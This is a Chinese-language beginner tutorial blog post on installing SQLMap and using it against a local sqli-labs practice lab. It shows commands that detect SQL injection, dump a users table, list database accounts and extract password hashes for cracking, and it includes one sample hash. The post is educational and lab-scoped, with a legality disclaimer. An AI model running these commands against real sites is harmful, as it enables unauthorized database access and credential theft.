SQLMap入門

SQLMap入門

什麼是SQLMap?

  • SQLMap是一個自動化的SQL注入工具,其主要功能是掃描,發現並利用給定的url的SQL注入漏洞
    內置不少繞過插件,支持的數據庫是MySQL、Oracle、postgreSQL、MicrosftSQL server、IBM DB2等php

  • SQLMap採用如下五種獨特的SQL注入技術python

    1. 基於布爾值的盲注,即根據返回頁面判斷條件真假的注入
    2. 基於時間的盲注,既不能根據頁面返回的內容判斷任何信息,要利用條件語句查看時間延遲語句是否已經執行來判斷
    3. 基於報錯注入,及頁面會返回錯誤信息,或者把注入的語句的結果直接返回到頁面中
    4. 聯合查詢注入,在可使用union的狀況下的注
    5. 堆查詢注入,能夠同時執行多條語句時注入
  • SQLMap的強大功能包括數據庫指紋識別,數據庫枚舉,數據庫提取,訪問目標文件夾系統,並在獲取徹底的操做權限時實行任意指令命令,SQLMap的功能十分強大,當其餘注入工具不能利用SQL注入漏洞時,使用SQLMap會有意向不到的結果

SQLMap安裝

SQLMap須要python2環境的支持,暫時不支持python3
在官網下載SQLMap sqlmap官網地址
在官網下載Python python官網地址
在官網下載對應系統的python2版本
下載完成後 檢查python環境變量是否安裝成功
關於下載安裝python的方法能夠參考以前的博客sql

完成上述內容後
我這裏是把python和SQLMap放到了C盤下 具體狀況根據實際狀況來設定
把下載好的SQLMap文件夾放到Python2的文件夾中
打開CMD
先檢查pytho的環境是否安裝成功
將cmd的路徑切換到python的安裝路徑下
我這裏是下載到C盤的根目錄下數據庫

cd /  切換到 c盤根目錄下
python 檢查pytho的環境 出現python的版本及成功
cd /python2/sqlmap/sqlmap.py  將路徑切換到sqlmap下的sqlmap.py
# 具體的路徑根據實際狀況設定 不知道sqlmap.py文件在哪的話能夠進入文件夾後dir查看一下,運行sqlmap.py出現信息及成功

SQLMap使用方法

首先咱們須要確保上次搭建的sqli-labs的環境成功
確保sqli-labs可以成功訪問 咱們點擊下方的Less 1
SQLMap入門服務器

點進去之後出現一個黑色的界面 顯示 SQLI DUMB SERIES-1
而後咱們複製上面的網址
這裏個人地址是 http://127.0.0.1/sqli-labs-master/Less-1/?id=1
複製完成後咱們進入cmd裏的sqlmap環境下
這裏能夠設置cmd的默認路徑 將cmd的默認路徑設置爲sqlmap.py的路徑
新建一個快捷方式 輸入cmd 建立完成後在屬性裏更改路徑便可ide

檢測目標網頁是否存在注入

進入更改完成後的cmd 提示出sqlmap的信息
這時候咱們使用SQL注入語句來判斷目標網址是否存在注入工具

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1  #檢測目標網址是否存在注入

輸入完成後回車 顯示內容如圖
檢測過程當中出現輸入Y/N的地方直接回車便可
SQLMap入門post

紅框圈出的前四個就是注入的類型 根據咱們開頭講到的注入類型看一下都是哪些注入類型學習

Type: boolean-based blind    # 基於布爾值的盲注
Type: error-based    # 基於報錯注入
Type: time-based blind    # 基於時間的盲注
Type: UNION query    # 聯合查詢注入

最後一個紅框裏能夠看到提示的是目標使用的數據庫版本、服務器類型、php版本、Apache版本網站

獲取數據庫指定的字段內容

這裏咱們使用SQLMap獲取security數據庫下的id password username內容

首先須要確保運行數據庫 這裏我用的是phpmyadmin
這裏使用咱們搭建漏洞環境時導入的security庫
命令以下

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users -C id,password,username --dump
# -D 指定數據庫 -T 數據庫下的表名 -C 指定所須要的列 --dump獲取全部信息

SQLMap入門

獲取數據庫中全部用戶

該命令的做用是列出數據庫的全部用戶,在當前用戶有權限讀取包含全部用戶的表的權限時,使用該命令就能夠列出全部的管理用戶

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --users

SQLMap入門

獲取數據庫的密碼

該命令的做用是列出數據庫的用戶的密碼,若是當前用戶有讀取包含用戶密碼的權限,sqlmap會列出用戶,而後列出hash,並嘗試破解

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --passwords

SQLMap入門

咱們看到這裏列出了 數據庫密碼的哈希值,假如說咱們這裏沒有破解出來,咱們能夠複製這個 password hash 的值
把這個值拿到破解網站上取嘗試破解
這裏咱們拿圖上的password hash 作個示範

password hash :*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

SQLMap入門

常見問題

python環境

關於python環境,若是在安裝嚮導的時候選擇的Add Path 的這個選項話
後面就不須要手動添加python環境了
若是忘記勾選這個選項了咱們須要在個人電腦--管理--高級設置--環境變量中手動添加python的安裝路徑來添加python環境

詳細的內容能夠參考以前的博客

SQLMap運行指令報錯

只要命令沒有敲錯的 通常是不會有什麼問題的
檢查一下本身語句是否正確或者檢查sqli-labs那個網頁的地址是否跟實際輸入的同樣

總結

請使用本身搭建的漏洞環境,切勿用於非法的用途,僅供學習初學SQL注入,若是有寫的不周到的地方能夠還請見諒上次的搭建的漏洞環境和SQLMap必定要注意本身輸入的路徑是否正確

相關文章
相關標籤/搜索